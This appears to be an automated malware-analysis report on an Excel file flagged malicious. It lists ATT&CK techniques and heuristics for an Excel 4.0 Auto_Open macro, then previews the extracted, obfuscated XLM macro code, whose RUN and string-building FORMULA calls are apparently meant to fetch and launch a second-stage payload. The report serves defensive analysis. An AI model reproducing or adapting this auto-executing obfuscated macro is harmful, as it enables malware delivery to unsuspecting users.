MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
This Excel file contains Excel 4.0 macros, specifically an Auto_Open entry, which is a critical finding. The macros utilize dangerous functions such as RUN, indicating an intent to execute arbitrary code. The presence of these functions strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.
Heuristics 3
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 39361 bytes |
SHA-256: db9ec616f1b759705b62d0be0afb249ed521949263cfb2919f0e032d8c26d728 |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - faiqZv5ER6STo9YXJKSNy9YrvC1Fl ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!DY10402 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,FI979,RUN(BV40053),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,DE1116,RUN(FI978),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,DX1914,GOTO(D56649),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BQ2275,"FORMULA(MID(EH64194,12,1)&MID(EH64194,18,1)&MID(DB43962,8,1)&MID(DB43962,11,1)&MID(DB43962,15,1)&MID(DB43962,1,1)&MID(IT41685,9,1)&MID(DB43962,2,1)&MID(EH64194,16,1)&MID(DB43962,8,1)&MID(DB43962,15,1)&MID(DB43962,1,1)&MID(IT41685,10,1),ET35589)","" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BQ2276,GOTO(DC22048),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,L5902,"FORMULA(MID(EH64194,12,1)&MID(DB43962,5,1)&MID(DB43962,2,1)&MID(IT41685,9,1)&MID(DB43962,3,1)&MID(DB43962,1,1)&MID(DB43962,16,1)&MID(IT41685,15,1)&MID(DB43962,19,1)&MID(DB43962,11,1)&MID(DB43962,14,1)&MID(DB43962,7,1)&MID(DB43962,15,1)&MID(DB43962,12,1)&MID(EH64194,16,1)&MID(EH64194,18,1)&MID(DB43962,1,1)&MID(IT41685,9,1)&MID(EH64194,3,1)&MID(EH64194,1,1)&MID(IT41685,10,1)&MID(IT41685,13,1)&MID(IT41685,13,1)&MID(DB43962,3,1)&MID(DB43962,11,1)&MID(DB43962,16,1)&MID(DB43962,11,1)&MID(IT41685,9,1)&MID(DB43962,14,1)&MID(GY21721,4,1)&MID(EH64194,1,1)&MID(EH64194,8,1)&MID(EH64194,5,1)&MID(EH64194,7,1)&MID(EH64194,5,1)&MID(GY21721,6,1)&MID(EH64194,18,1)&MID(GY21721,4,1)&MID(IT41685,18,1)&MID(IT41685,18,1)&MID(EH64194,1,1)&MID(GY21721,6,1)&MID(IT41685,10,1)&MID(IT41685,10,1),L5903)","" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,L5904,RUN(HT13351),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,EA7153,"FORMULA(MID(BH56253,12,1)&MID(BA33607,2,1)&MID(BA33607,5,1)&MID(BA33607,8,1)&MID(BA33607,1,1)&MID(BA33607,15,1)&MID(E17496,9,1)&MID(BA33607,14,1)&MID(CD50432,4,1)&MID(BH56253,4,1)&MID(BH56253,6,1)&MID(BH56253,3,1)&MID(BH56253,8,1)&MID(CD50432,6,1)&MID(BH56253,18,1)&MID(CD50432,4,1)&MID(BH56253,7,1)&MID(BH56253,3,1)&MID(CD50432,6,1)&MID(E17496,10,1),DE1115)","" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,EA7154,RUN(DL23756),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,EX7517,RUN(FG11332),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BZ8528,"FORMULA(MID(EH64194,12,1)&MID(DB43962,5,1)&MID(DB43962,2,1)&MID(IT41685,9,1)&MID(DB43962,3,1)&MID(DB43962,1,1)&MID(DB43962,16,1)&MID(IT41685,15,1)&MID(DB43962,19,1)&MID(DB43962,11,1)&MID(DB43962,14,1)&MID(DB43962,7,1)&MID(DB43962,15,1)&MID(DB43962,12,1)&MID(EH64194,16,1)&MID(EH64194,18,1)&MID(DB43962,1,1)&MID(IT41685,9,1)&MID(IT41685,18,1)&MID(EH64194,3,1)&MID(IT41685,10,1)&MID(EH64194,11,1)&MID(EH64194,2,1)&MID(EH64194,8,1)&MID(IT41685,17,1)&MID(IT41685,13,1)&MID(DB43962,3,1)&MID(DB43962,11,1)&MID(DB43962,16,1)&MID(DB43962,11,1)&MID(IT41685,9,1)&MID(DB43962,14,1)&MID(GY21721,4,1)&MID(EH64194,1,1)&MID(EH64194,6,1)&MID(IT41685,17,1)&MID(EH64194,5,1)&MID(IT41685,17,1)&MID(GY21721,6,1)&MID(EH64194,18,1)&MID(GY21721,4,1)&MID(EH64194,6,1)&MID(EH64194,1,1)&MID(GY21721,6,1)&MID(IT41685,10,1)&MID(IT41685,13,1)&MID(IT41685,10,1),BZ8529)","" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BZ8530,RUN(GL63561),"" ' faiqZv5ER6STo9YXJKSNy9YrvC1Fl,HR9374,"FORMULA(MID(EH64194,12,1)&MID(DB43962,5,1)&MID(DB43962,2,1)&MID(IT41685,9,1)&MID(DB43962,5,1)&MID(DB43962,15,1)&MID(DB43962,10,1)&MID(DB43962,17,1)&MID(DB43962,9,1)&MID(EH64194,17,1)&MID(DB43962,1,1)&MID(DB43962,14,1)&MID(IT41685,9,1)&MID(DB43962,15,1)&MID(DB43962,1,1)&MID(EH64194,16,1)&MID(DB43962,14,1)&MID(EH64194,18,1)&MID(DB43962,4,1)&MID(IT41685,9,1)&MID(IT41685,3,1)&MID(IT41685,17,1)&MID(IT41685,17,1)&MID(IT41685,17,1)&MID(IT41685,18,1)&MID(IT41685,3,1)&MID(IT41685,13,1)&MID(DB43962,14,1)&MID(GY21721,4,1)&MID(EH64194,3,1)&MID(EH64194,3,1)&MID(EH64194,3,1)&MID(EH64194,6,1)&MID(EH64194,1,1)&MID(GY21721,6,1)&MID(EH64194,18,1)&MID(GY21721,4,1)&MID(IT41685,14,1)&MID(IT41685,18,1 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.